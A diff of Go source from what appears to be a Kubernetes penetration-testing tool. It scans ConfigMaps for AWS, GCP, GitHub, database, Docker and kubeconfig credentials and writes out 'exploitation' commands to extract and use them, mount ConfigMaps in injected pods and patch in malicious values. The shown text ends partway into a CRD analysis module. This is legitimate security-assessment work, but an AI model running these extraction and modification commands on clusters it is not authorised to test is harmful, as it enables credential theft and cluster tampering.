creds = append(creds, CredentialFinding{Type: "Base64", Key: key, Value: decodedStr, FullValue: decodedStr, Description: "Base64-encoded Secret"})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectDockerCredentials checks for Docker registry credentials
|
||||
func detectDockerCredentials(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
for key, value := range data {
|
||||
if strings.Contains(key, "docker") && strings.Contains(key, "config") {
|
||||
var dockerConfig map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(value), &dockerConfig); err == nil {
|
||||
if auths, ok := dockerConfig["auths"].(map[string]interface{}); ok && len(auths) > 0 {
|
||||
var registries []string
|
||||
for reg := range auths {
|
||||
registries = append(registries, reg)
|
||||
}
|
||||
findings = append(findings, fmt.Sprintf("Docker Registry Credentials in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "Docker", Key: key, Value: strings.Join(registries, ","), FullValue: value, Description: "Docker Registry Credentials"})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
lowerKey := strings.ToLower(key)
|
||||
if strings.Contains(lowerKey, "docker") && (strings.Contains(lowerKey, "auth") || strings.Contains(lowerKey, "password")) {
|
||||
findings = append(findings, fmt.Sprintf("Docker Credentials in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "Docker", Key: key, Value: value, FullValue: value, Description: "Docker Credentials"})
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectKubeconfig checks if data contains kubeconfig content
|
||||
func detectKubeconfig(data map[string]string) bool {
|
||||
for _, value := range data {
|
||||
if strings.Contains(value, "apiVersion:") &&
|
||||
strings.Contains(value, "kind: Config") &&
|
||||
(strings.Contains(value, "clusters:") || strings.Contains(value, "users:")) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// detectSensitiveKeywords checks for sensitive keywords in key names only (not values).
|
||||
// alreadyDetected contains keys already flagged by specific detectors to avoid duplicates.
|
||||
func detectSensitiveKeywords(data map[string]string, alreadyDetected map[string]bool) ([]string, []CredentialFinding) {
|
||||
suspects := []string{"password", "passwd", "secret_key", "secret-key", "secretkey", "token", "credentials", "api_key", "api-key", "apikey", "private_key", "private-key", "access_key", "access-key"}
|
||||
var hits []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
for k, v := range data {
|
||||
if alreadyDetected[k] {
|
||||
continue
|
||||
}
|
||||
lk := strings.ToLower(k)
|
||||
for _, s := range suspects {
|
||||
if strings.Contains(lk, s) {
|
||||
hits = append(hits, k)
|
||||
creds = append(creds, CredentialFinding{Type: "SensitiveKeyword", Key: k, Value: v, FullValue: v, Description: fmt.Sprintf("keyword: %s", s)})
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return hits, creds
|
||||
}
|
||||
|
||||
// analyzeConfigMapSecurity performs comprehensive security analysis
|
||||
func analyzeConfigMapSecurity(cm *corev1.ConfigMap) ConfigMapFinding {
|
||||
finding := ConfigMapFinding{
|
||||
Namespace: cm.Namespace,
|
||||
Name: cm.Name,
|
||||
CreationTimestamp: cm.CreationTimestamp.String(),
|
||||
DataKeys: []string{},
|
||||
Annotations: cm.Annotations,
|
||||
}
|
||||
|
||||
// Check immutability
|
||||
if cm.Immutable != nil && *cm.Immutable {
|
||||
finding.IsImmutable = true
|
||||
}
|
||||
|
||||
// Collect data keys
|
||||
for key := range cm.Data {
|
||||
finding.DataKeys = append(finding.DataKeys, key)
|
||||
}
|
||||
sort.Strings(finding.DataKeys)
|
||||
|
||||
// Calculate data size
|
||||
for _, value := range cm.Data {
|
||||
finding.DataSize += len(value)
|
||||
}
|
||||
|
||||
// Detect various credential types
|
||||
var credFindings []CredentialFinding
|
||||
var creds []CredentialFinding
|
||||
finding.AWSCredentials, creds = detectAWSCredentials(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.GCPCredentials, creds = detectGCPCredentials(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.GitHubTokens, creds = detectGitHubTokens(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.PrivateKeys, creds = detectPrivateKeys(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.ConnectionStrings, creds = detectConnectionStrings(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.Base64Secrets, creds = detectBase64Secrets(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.DockerCredentials, creds = detectDockerCredentials(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.KubeconfigFound = detectKubeconfig(cm.Data)
|
||||
if finding.KubeconfigFound {
|
||||
for key, value := range cm.Data {
|
||||
if strings.Contains(value, "apiVersion:") && strings.Contains(value, "kind: Config") {
|
||||
credFindings = append(credFindings, CredentialFinding{Type: "Kubeconfig", Key: key, Value: value, FullValue: value, Description: "Kubeconfig"})
|
||||
}
|
||||
}
|
||||
}
|
||||
// Sensitive keywords don't produce credential findings (no detected value shown)
|
||||
alreadyDetected := make(map[string]bool)
|
||||
for _, cf := range credFindings {
|
||||
alreadyDetected[cf.Key] = true
|
||||
}
|
||||
finding.SensitiveKeys, _ = detectSensitiveKeywords(cm.Data, alreadyDetected)
|
||||
finding.CredentialFindings = credFindings
|
||||
|
||||
// Aggregate dangerous patterns
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.AWSCredentials...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.GCPCredentials...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.GitHubTokens...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.PrivateKeys...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.ConnectionStrings...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.Base64Secrets...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.DockerCredentials...)
|
||||
if finding.KubeconfigFound {
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, "Kubeconfig found")
|
||||
}
|
||||
|
||||
return finding
|
||||
}
|
||||
|
||||
// buildKeyPatternMap creates a map of key names to their detected sensitive patterns
|
||||
func buildKeyPatternMap(cm *corev1.ConfigMap, finding ConfigMapFinding) map[string]string {
|
||||
keyPatterns := make(map[string]string)
|
||||
|
||||
// Parse the pattern strings to extract key names and build the map
|
||||
// Pattern format is like "AWS Access Key in 'keyname'" or "Private Key in 'keyname'"
|
||||
parsePatterns := func(patterns []string, patternType string) {
|
||||
for _, pattern := range patterns {
|
||||
// Extract key name from pattern like "Something in 'keyname'"
|
||||
if idx := strings.Index(pattern, " in '"); idx != -1 {
|
||||
keyStart := idx + 5
|
||||
keyEnd := strings.LastIndex(pattern, "'")
|
||||
if keyEnd > keyStart {
|
||||
keyName := pattern[keyStart:keyEnd]
|
||||
if existing, ok := keyPatterns[keyName]; ok {
|
||||
keyPatterns[keyName] = existing + ", " + patternType
|
||||
} else {
|
||||
keyPatterns[keyName] = patternType
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
parsePatterns(finding.AWSCredentials, "AWS Credential")
|
||||
parsePatterns(finding.GCPCredentials, "GCP Credential")
|
||||
parsePatterns(finding.GitHubTokens, "GitHub Token")
|
||||
parsePatterns(finding.PrivateKeys, "Private Key")
|
||||
parsePatterns(finding.ConnectionStrings, "Connection String")
|
||||
parsePatterns(finding.Base64Secrets, "Base64 Secret")
|
||||
parsePatterns(finding.DockerCredentials, "Docker Credential")
|
||||
|
||||
// Check for kubeconfig in all keys
|
||||
if finding.KubeconfigFound {
|
||||
for key, value := range cm.Data {
|
||||
if strings.Contains(value, "apiVersion:") &&
|
||||
strings.Contains(value, "kind: Config") {
|
||||
if existing, ok := keyPatterns[key]; ok {
|
||||
keyPatterns[key] = existing + ", Kubeconfig"
|
||||
} else {
|
||||
keyPatterns[key] = "Kubeconfig"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add sensitive keywords detection
|
||||
for _, keyName := range finding.SensitiveKeys {
|
||||
if _, ok := keyPatterns[keyName]; !ok {
|
||||
keyPatterns[keyName] = "Sensitive Keyword"
|
||||
}
|
||||
}
|
||||
|
||||
return keyPatterns
|
||||
}
|
||||
|
||||
// findPodsMountingConfigMapCached finds all pods that mount a specific ConfigMap using pre-fetched pods
|
||||
func findPodsMountingConfigMapCached(allPods []corev1.Pod, namespace, configMapName string) []string {
|
||||
var mountingPods []string
|
||||
|
||||
for _, pod := range allPods {
|
||||
// Only check pods in the same namespace
|
||||
if pod.Namespace != namespace {
|
||||
continue
|
||||
}
|
||||
for _, volume := range pod.Spec.Volumes {
|
||||
if volume.ConfigMap != nil && volume.ConfigMap.Name == configMapName {
|
||||
mountingPods = append(mountingPods, pod.Name)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return mountingPods
|
||||
}
|
||||
|
||||
// hasSensitiveData returns true if the configmap contains credentials or sensitive patterns
|
||||
func hasSensitiveData(finding ConfigMapFinding) bool {
|
||||
return len(finding.AWSCredentials) > 0 ||
|
||||
len(finding.GCPCredentials) > 0 ||
|
||||
len(finding.GitHubTokens) > 0 ||
|
||||
len(finding.PrivateKeys) > 0 ||
|
||||
len(finding.ConnectionStrings) > 0 ||
|
||||
len(finding.DockerCredentials) > 0 ||
|
||||
len(finding.Base64Secrets) > 0 ||
|
||||
finding.KubeconfigFound
|
||||
}
|
||||
|
||||
// generateConfigMapLoot creates a single consolidated commands loot file
|
||||
func generateConfigMapLoot(findings []ConfigMapFinding, allConfigMaps []corev1.ConfigMap, outputDirectory string) []internal.LootFile {
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
// Filter findings by sensitivity
|
||||
var sensitiveFindings []ConfigMapFinding
|
||||
|
||||
for _, f := range findings {
|
||||
if hasSensitiveData(f) {
|
||||
sensitiveFindings = append(sensitiveFindings, f)
|
||||
}
|
||||
}
|
||||
|
||||
// Single consolidated commands file
|
||||
cmds := loot.Section("ConfigMap-Commands")
|
||||
cmds.Add("═══════════════════════════════════════════════════════════════")
|
||||
cmds.Add(" CONFIGMAP ENUMERATION AND EXPLOITATION COMMANDS")
|
||||
cmds.Add("═══════════════════════════════════════════════════════════════")
|
||||
cmds.Add("")
|
||||
|
||||
// Section 1: Enumeration
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 1. ENUMERATION")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Check permissions")
|
||||
cmds.Add("kubectl auth can-i get configmaps --all-namespaces")
|
||||
cmds.Add("kubectl auth can-i list configmaps --all-namespaces")
|
||||
cmds.Add("kubectl auth can-i update configmaps --all-namespaces")
|
||||
cmds.Add("")
|
||||
cmds.Add("# List all ConfigMaps")
|
||||
cmds.Add("kubectl get configmaps -A")
|
||||
cmds.Add("kubectl get configmaps -A -o wide")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Get ConfigMap details")
|
||||
cmds.Add("kubectl get configmap <name> -n <namespace> -o yaml")
|
||||
cmds.Add("kubectl describe configmap <name> -n <namespace>")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Extract all ConfigMap data as JSON")
|
||||
cmds.Add("kubectl get configmaps -A -o json | jq -r '.items[] | \"\\(.metadata.namespace)/\\(.metadata.name): \\(.data | keys)\"'")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Find ConfigMaps with specific keys")
|
||||
cmds.Add("kubectl get configmaps -A -o json | jq -r '.items[] | select(.data | keys | any(test(\"password|secret|key|token\"; \"i\"))) | \"\\(.metadata.namespace)/\\(.metadata.name)\"'")
|
||||
cmds.Add("")
|
||||
|
||||
// Section 2: Sensitive ConfigMap Extraction
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 2. EXTRACTION - Sensitive ConfigMaps")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
|
||||
if len(sensitiveFindings) > 0 {
|
||||
cmds.Add("# Bulk extraction script")
|
||||
cmds.Add("mkdir -p configmap-dump && cd configmap-dump")
|
||||
cmds.Add("")
|
||||
|
||||
for _, f := range sensitiveFindings {
|
||||
cmds.Addf("# %s/%s - %s", f.Namespace, f.Name, strings.Join(f.DangerousPatterns, ", "))
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o yaml > %s-%s.yaml", f.Namespace, f.Name, f.Namespace, f.Name)
|
||||
cmds.Add("")
|
||||
}
|
||||
} else {
|
||||
cmds.Add("# No ConfigMaps with detected credentials found")
|
||||
cmds.Add("# Use generic extraction:")
|
||||
cmds.Add("kubectl get configmap <name> -n <namespace> -o yaml > configmap.yaml")
|
||||
cmds.Add("")
|
||||
}
|
||||
|
||||
// Section 3: Decode Base64 secrets
|
||||
hasBase64 := false
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.Base64Secrets) > 0 {
|
||||
hasBase64 = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if hasBase64 {
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 3. DECODE BASE64 SECRETS")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.Base64Secrets) > 0 {
|
||||
cmds.Addf("# %s/%s", f.Namespace, f.Name)
|
||||
for _, key := range f.DataKeys {
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o jsonpath='{.data.%s}' | base64 -d",
|
||||
f.Namespace, f.Name, key)
|
||||
}
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Section 4: Credential-specific exploitation
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 4. CREDENTIAL EXPLOITATION")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
|
||||
hasAWS := false
|
||||
hasGCP := false
|
||||
hasGitHub := false
|
||||
hasDB := false
|
||||
hasPrivateKey := false
|
||||
hasKubeconfig := false
|
||||
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.AWSCredentials) > 0 {
|
||||
hasAWS = true
|
||||
}
|
||||
if len(f.GCPCredentials) > 0 {
|
||||
hasGCP = true
|
||||
}
|
||||
if len(f.GitHubTokens) > 0 {
|
||||
hasGitHub = true
|
||||
}
|
||||
if len(f.ConnectionStrings) > 0 {
|
||||
hasDB = true
|
||||
}
|
||||
if len(f.PrivateKeys) > 0 {
|
||||
hasPrivateKey = true
|
||||
}
|
||||
if f.KubeconfigFound {
|
||||
hasKubeconfig = true
|
||||
}
|
||||
}
|
||||
|
||||
if hasAWS {
|
||||
cmds.Add("### AWS Credentials ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.AWSCredentials) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
cmds.Addf("AWS_ACCESS_KEY_ID=$(kubectl get configmap -n %s %s -o jsonpath='{.data.AWS_ACCESS_KEY_ID}')", f.Namespace, f.Name)
|
||||
cmds.Addf("AWS_SECRET_ACCESS_KEY=$(kubectl get configmap -n %s %s -o jsonpath='{.data.AWS_SECRET_ACCESS_KEY}')", f.Namespace, f.Name)
|
||||
cmds.Add("export AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY")
|
||||
cmds.Add("aws sts get-caller-identity")
|
||||
cmds.Add("aws s3 ls")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasGCP {
|
||||
cmds.Add("### GCP Service Account Keys ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.GCPCredentials) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o jsonpath='{.data.GOOGLE_APPLICATION_CREDENTIALS}' > gcp-key.json", f.Namespace, f.Name)
|
||||
cmds.Add("gcloud auth activate-service-account --key-file=gcp-key.json")
|
||||
cmds.Add("gcloud projects list")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasGitHub {
|
||||
cmds.Add("### GitHub Tokens ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.GitHubTokens) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
cmds.Addf("GH_TOKEN=$(kubectl get configmap -n %s %s -o jsonpath='{.data.GITHUB_TOKEN}')", f.Namespace, f.Name)
|
||||
cmds.Add("curl -H \"Authorization: token $GH_TOKEN\" https://api.github.com/user")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasDB {
|
||||
cmds.Add("### Database Connection Strings ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.ConnectionStrings) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
cmds.Addf("DB_URL=$(kubectl get configmap -n %s %s -o jsonpath='{.data.DATABASE_URL}')", f.Namespace, f.Name)
|
||||
cmds.Add("psql \"$DB_URL\" # or mysql, mongo, etc.")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasPrivateKey {
|
||||
cmds.Add("### Private Keys ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.PrivateKeys) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
for _, key := range f.DataKeys {
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o jsonpath='{.data.%s}' > extracted-key.pem", f.Namespace, f.Name, key)
|
||||
}
|
||||
cmds.Add("chmod 600 extracted-key.pem")
|
||||
cmds.Add("ssh -i extracted-key.pem user@host")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasKubeconfig {
|
||||
cmds.Add("### Kubeconfig Files ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if f.KubeconfigFound {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
for _, key := range f.DataKeys {
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o jsonpath='{.data.%s}' > extracted-kubeconfig", f.Namespace, f.Name, key)
|
||||
}
|
||||
cmds.Add("export KUBECONFIG=./extracted-kubeconfig")
|
||||
cmds.Add("kubectl get pods -A")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !hasAWS && !hasGCP && !hasGitHub && !hasDB && !hasPrivateKey && !hasKubeconfig {
|
||||
cmds.Add("# No specific credentials found in ConfigMaps")
|
||||
cmds.Add("# Review ConfigMaps manually for sensitive data")
|
||||
cmds.Add("")
|
||||
}
|
||||
|
||||
// Section 5: Pod injection technique
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 5. POD INJECTION - Mount ConfigMaps")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
cmds.Add("# If you can create pods, mount sensitive ConfigMaps:")
|
||||
cmds.Add("cat <<EOF | kubectl apply -f -")
|
||||
cmds.Add("apiVersion: v1")
|
||||
cmds.Add("kind: Pod")
|
||||
cmds.Add("metadata:")
|
||||
cmds.Add(" name: configmap-reader")
|
||||
cmds.Add(" namespace: <TARGET_NAMESPACE>")
|
||||
cmds.Add("spec:")
|
||||
cmds.Add(" containers:")
|
||||
cmds.Add(" - name: reader")
|
||||
cmds.Add(" image: alpine")
|
||||
cmds.Add(" command: [\"sleep\", \"3600\"]")
|
||||
cmds.Add(" volumeMounts:")
|
||||
cmds.Add(" - name: config")
|
||||
cmds.Add(" mountPath: /config")
|
||||
cmds.Add(" volumes:")
|
||||
cmds.Add(" - name: config")
|
||||
cmds.Add(" configMap:")
|
||||
cmds.Add(" name: <TARGET_CONFIGMAP>")
|
||||
cmds.Add("EOF")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Extract data from pod")
|
||||
cmds.Add("kubectl exec -it configmap-reader -n <TARGET_NAMESPACE> -- cat /config/*")
|
||||
cmds.Add("")
|
||||
|
||||
// Section 6: Modify ConfigMaps
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 6. MODIFICATION - Inject Malicious Config")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Check if you can update ConfigMaps")
|
||||
cmds.Add("kubectl auth can-i update configmaps -n <namespace>")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Edit ConfigMap directly")
|
||||
cmds.Add("kubectl edit configmap <name> -n <namespace>")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Patch specific key")
|
||||
cmds.Add("kubectl patch configmap <name> -n <namespace> --type=merge -p '{\"data\":{\"key\":\"malicious-value\"}}'")
|
||||
cmds.Add("")
|
||||
|
||||
// Section 7: Find pods mounting ConfigMaps
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 7. FIND PODS MOUNTING CONFIGMAPS")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Find all pods mounting a specific ConfigMap")
|
||||
cmds.Add("kubectl get pods -A -o json | jq -r '.items[] | select(.spec.volumes[]?.configMap.name == \"<CONFIGMAP_NAME>\") | \"\\(.metadata.namespace)/\\(.metadata.name)\"'")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Find pods using ConfigMaps as environment variables")
|
||||
cmds.Add("kubectl get pods -A -o json | jq -r '.items[] | select(.spec.containers[].envFrom[]?.configMapRef != null) | \"\\(.metadata.namespace)/\\(.metadata.name)\"'")
|
||||
cmds.Add("")
|
||||
|
||||
// Full configmap data dump
|
||||
dump := loot.Section("ConfigMap-Data")
|
||||
dump.Add("═══════════════════════════════════════════════════════════════")
|
||||
dump.Add(" CONFIGMAP FULL DATA DUMP")
|
||||
dump.Add("═══════════════════════════════════════════════════════════════")
|
||||
dump.Add("")
|
||||
|
||||
for _, cm := range allConfigMaps {
|
||||
if len(cm.Data) == 0 && len(cm.BinaryData) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
dump.Add(fmt.Sprintf("##############################################"))
|
||||
dump.Add(fmt.Sprintf("## %s/%s", cm.Namespace, cm.Name))
|
||||
dump.Add(fmt.Sprintf("## Keys: %d | Created: %s", len(cm.Data)+len(cm.BinaryData), cm.CreationTimestamp.Format("2006-01-02 15:04:05")))
|
||||
if cm.Immutable != nil && *cm.Immutable {
|
||||
dump.Add("## Immutable: Yes")
|
||||
}
|
||||
dump.Add(fmt.Sprintf("##############################################"))
|
||||
dump.Add("")
|
||||
|
||||
for key, value := range cm.Data {
|
||||
dump.Add(fmt.Sprintf("--- [%s] ---", key))
|
||||
dump.Add(value)
|
||||
dump.Add("")
|
||||
}
|
||||
|
||||
for key, value := range cm.BinaryData {
|
||||
encoded := base64.StdEncoding.EncodeToString(value)
|
||||
dump.Add(fmt.Sprintf("--- [%s] (binary, base64-encoded) ---", key))
|
||||
dump.Add(encoded)
|
||||
dump.Add("")
|
||||
}
|
||||
}
|
||||
|
||||
return loot.Build()
|
||||
}
|
||||
@@ -0,0 +1,875 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
admissionregv1 "k8s.io/api/admissionregistration/v1"
|
||||
rbacv1 "k8s.io/api/rbac/v1"
|
||||
apiextensionsv1 "k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/apimachinery/pkg/runtime/schema"
|
||||
"k8s.io/client-go/dynamic"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
var CRDsCmd = &cobra.Command{
|
||||
Use: "crds",
|
||||
Aliases: []string{"crd", "customresources"},
|
||||
Short: "Analyze Custom Resource Definitions for security risks",
|
||||
Long: `
|
||||
Analyze Custom Resource Definitions with comprehensive security analysis including:
|
||||
- CRD inventory with resource counts
|
||||
- Interesting/security-relevant CRDs (certs, secrets, policy, RBAC)
|
||||
- RBAC analysis: who can CRUD each CRD's resources
|
||||
- Webhook analysis: validating/mutating webhooks covering CRDs
|
||||
- Missing validation schemas (injection risk)
|
||||
- Conversion webhooks (admission bypass potential)
|
||||
- Cluster-scoped CRDs (broad access implications)
|
||||
|
||||
cloudfox kubernetes crds`,
|
||||
Run: ListCRDs,
|
||||
}
|
||||
|
||||
// init() removed - detailed flag is now a global persistent flag in cli/kubernetes.go
|
||||
|
||||
type CRDsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t CRDsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t CRDsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type CRDAnalysis struct {
|
||||
Name string
|
||||
Group string
|
||||
Kind string
|
||||
Plural string
|
||||
Scope string
|
||||
Versions []string
|
||||
StoredVersions []string
|
||||
LatestVersion string
|
||||
HasValidation bool
|
||||
HasConversionWebhook bool
|
||||
ConversionStrategy string
|
||||
HasStatus bool
|
||||
HasScale bool
|
||||
Namespaced bool
|
||||
Categories []string
|
||||
ShortNames []string
|
||||
DeprecatedVersions []string
|
||||
ResourceCount int
|
||||
}
|
||||
|
||||
type CRDResourceInfo struct {
|
||||
CRDName string
|
||||
Group string
|
||||
Kind string
|
||||
Resource string
|
||||
Namespace string
|
||||
ResourceName string
|
||||
Labels string
|
||||
CreatedAt string
|
||||
}
|
||||
|
||||
type CRDRBACEntry struct {
|
||||
CRDGroup string
|
||||
Resource string
|
||||
SubjectKind string
|
||||
SubjectName string
|
||||
Namespace string
|
||||
Verbs string
|
||||
Scope string
|
||||
RoleName string
|
||||
}
|
||||
|
||||
type CRDWebhookEntry struct {
|
||||
CRDGroup string
|
||||
WebhookName string
|
||||
Type string
|
||||
FailurePolicy string
|
||||
Operations string
|
||||
Service string
|
||||
}
|
||||
|
||||
type InterestingCRD struct {
|
||||
Name string
|
||||
Group string
|
||||
Kind string
|
||||
Category string
|
||||
Why string
|
||||
Resources int
|
||||
}
|
||||
|
||||
// interestingGroupPatterns maps category to group substrings
|
||||
var interestingGroupPatterns = map[string][]string{
|
||||
"Secrets/Certs": {"cert-manager", "secrets-store", "sealed-secrets", "vault", "external-secrets", "certmanager", "spiffe"},
|
||||
"Policy": {"policy", "kyverno", "gatekeeper", "opa", "constraints", "kubearmor", "falco", "neuvector", "stackrox", "crowdstrike", "security-profiles-operator", "sysdig", "aquasec", "prismacloud"},
|
||||
"RBAC/Auth": {"rbac", "auth", "identity", "oidc", "dex", "keycloak"},
|
||||
"Workload": {"argoproj", "tekton", "flux", "keda", "knative", "crossplane"},
|
||||
"Network": {"networking.istio", "cilium", "calico", "linkerd", "gateway.networking"},
|
||||
"Storage": {"snapshot.storage", "rook", "longhorn", "velero"},
|
||||
}
|
||||
|
||||
func ListCRDs(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
detailed := globals.K8sDetailed
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing CRDs for %s", globals.ClusterName), globals.K8S_CRDS_MODULE_NAME)
|
||||
|
||||
// Standard clientset for RBAC and webhooks
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Dynamic client for resource counting
|
||||
dynClient := config.GetDynamicClientOrExit()
|
||||
|
||||
// Fetch CRDs (via SDK cache)
|
||||
crdItems, err := sdk.GetCRDs(ctx)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching CRDs: %v", err), globals.K8S_CRDS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Build set of CRD groups for RBAC/webhook matching
|
||||
crdGroups := make(map[string]bool)
|
||||
|
||||
var crdAnalyses []CRDAnalysis
|
||||
for _, crd := range crdItems {
|
||||
analysis := analyzeCRD(&crd)
|
||||
crdGroups[analysis.Group] = true
|
||||
crdAnalyses = append(crdAnalyses, analysis)
|
||||
}
|
||||
|
||||
// Enumerate CRD resources
|
||||
logger.InfoM("Enumerating CRD resources...", globals.K8S_CRDS_MODULE_NAME)
|
||||
resourceInfos := enumerateCRDResources(ctx, dynClient, crdAnalyses)
|
||||
|
||||
// Build resource count map
|
||||
resourceCountMap := make(map[string]int)
|
||||
for _, ri := range resourceInfos {
|
||||
resourceCountMap[ri.CRDName]++
|
||||
}
|
||||
for i := range crdAnalyses {
|
||||
crdAnalyses[i].ResourceCount = resourceCountMap[crdAnalyses[i].Name]
|
||||
}
|
||||
|
||||
// Identify interesting CRDs
|
||||
interestingCRDs := identifyInterestingCRDs(crdAnalyses)
|
||||
|
||||
// RBAC analysis
|
||||
logger.InfoM("Analyzing RBAC for CRD groups...", globals.K8S_CRDS_MODULE_NAME)
|
||||
